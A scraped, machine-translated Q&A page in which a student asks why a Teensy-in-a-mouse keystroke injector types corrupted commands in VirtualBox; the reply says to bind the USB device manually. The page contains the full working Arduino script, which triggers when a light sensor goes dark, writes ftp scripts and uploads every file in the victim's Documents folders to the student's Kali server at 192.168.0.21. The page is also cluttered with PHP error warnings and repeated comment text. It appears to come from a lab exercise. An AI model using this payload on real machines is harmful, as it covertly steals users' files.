Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/vb.net/17.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Virtual machine VirtualBox击键获得随机更改_Virtual Machine_Mouse_Virtualbox_Keystroke_Teensy - Fatal编程技术网

Virtual machine VirtualBox击键获得随机更改

Virtual machine VirtualBox击键获得随机更改,virtual-machine,mouse,virtualbox,keystroke,teensy,Virtual Machine,Mouse,Virtualbox,Keystroke,Teensy,我有一个关于it安全的学校项目。我的工作是定制一个带有usb集线器的硬件鼠标,并为其编程 teensy上的代码在变暗时执行(依赖于光的电阻器)。代码在win7虚拟机上获取一些文件,并将它们上载到kali虚拟机上托管的Apache2服务器(通过win7虚拟机中的cmd命令)。在vmware中一切正常,但我必须在我的项目中使用virtualbox 我现在的问题是,在virtualbox中,cmd命令随机更改,例如:一些字母从小写改为大写,导致路径错误,因此无法找到文件,或者有时缺少反斜杠,这也会导致

我有一个关于it安全的学校项目。我的工作是定制一个带有usb集线器的硬件鼠标,并为其编程

teensy上的代码在变暗时执行(依赖于光的电阻器)。代码在win7虚拟机上获取一些文件,并将它们上载到kali虚拟机上托管的Apache2服务器(通过win7虚拟机中的cmd命令)。在vmware中一切正常,但我必须在我的项目中使用virtualbox

我现在的问题是,在virtualbox中,cmd命令随机更改,例如:一些字母从小写改为大写,导致路径错误,因此无法找到文件,或者有时缺少反斜杠,这也会导致路径错误

正如我所说的,它只在virtualbox中运行,在vmware中,我的整个项目运行得非常好,所以我不认为这是硬件问题

我使用最新的virtualbox版本5.0.12

这是(不是实际的)我的小剧本的一个样本

CommandAtRunBarMSWIN("cmd");
    delay(1500);
    Keyboard.println("echo cd upload > C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo mkdir %date%-%username% >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo cd %date%-%username% >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo prompt off >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo mput C:\\Users\\user\\Documents\\*.* >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo cd upload > \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo mkdir %date%-%username% >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo cd %date%-%username% >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo prompt off >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo mput \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\*.*\" >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("ftp -A -s:C:\\Users\\user\\Documents\\ftp.txt 192.168.0.21");
    delay(3000);
    Keyboard.println("bye");
    delay(300);
    Keyboard.println("ftp -A -s:\"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\" 192.168.0.21");
    delay(3000);
    Keyboard.println("bye");
    delay(300);
    Keyboard.println("exit");

我发现了问题所在。我忘了在Virtualbox中手动绑定USB Teensy和复选框,所以我认为它在驱动程序和我不知道的东西方面有点问题


只要我在运行之前总是在virtualbox中手动绑定它,它现在就可以工作。

我发现了问题所在。我忘了在Virtualbox中手动绑定USB Teensy和复选框,所以我认为它在驱动程序和我不知道的东西方面有点问题


只要在运行之前我总是在virtualbox中手动绑定它,它现在就可以工作。

hi@pharZyde,尝试描述问题,例如,您可以提供有关您正在使用的语言的详细信息,以及有关应用程序返回的键码的详细信息。关于apache服务器的详细信息与您的情况无关。hi@DarthCoder,我不知道我使用的是哪种语言tbh,我使用的是一种用于teensy的arduino库内容^^^^以及关于返回的键码,当我检查它执行的命令的cmd时,它完全是随机的,像C:\Users\user\Documents\ftp.txt改为C:\Users\user\Documents\ftp.txt,或者它缺少一个反斜杠,有时甚至缺少一个完整的命令,如“cd upload”,也许为了更好地理解,teensy脚本生成一个本地ftp.txt,并在其中写入cmd命令,如“cd upload”;mkdir测试;…'然后,它使用-s:C:\Users\user\Documents\ftp.txt选项建立ftp连接,这样它就可以从ftp.txt中运行cmd命令了,它只是切换了这些情况吗?windows不区分大小写(对于文件名),如果行为一致,请给出发生的情况的示例。C:\Users\user\Documents\ftp.txt改为C:\Users\user\Documents\ftp.txt。如果windows不区分大小写,它应该可以正常工作-您好@pharZyde,请尝试描述问题,例如,您可以提供有关正在使用的语言的详细信息,以及有关应用程序返回的键码的详细信息。关于apache服务器的详细信息与您的情况无关。hi@DarthCoder,我不知道我使用的是哪种语言tbh,我使用的是一种用于teensy的arduino库内容^^^^以及关于返回的键码,当我检查它执行的命令的cmd时,它完全是随机的,像C:\Users\user\Documents\ftp.txt改为C:\Users\user\Documents\ftp.txt,或者它缺少一个反斜杠,有时甚至缺少一个完整的命令,如“cd upload”,也许为了更好地理解,teensy脚本生成一个本地ftp.txt,并在其中写入cmd命令,如“cd upload”;mkdir测试;…'然后,它使用-s:C:\Users\user\Documents\ftp.txt选项建立ftp连接,这样它就可以从ftp.txt中运行cmd命令了,它只是切换了这些情况吗?windows不区分大小写(对于文件名),如果行为一致,请给出发生的情况的示例。C:\Users\user\Documents\ftp.txt改为C:\Users\user\Documents\ftp.txt。如果windows不区分大小写,它应该可以正常工作-如果你有其他问题,最好分开问。如果你有其他问题,最好分开问。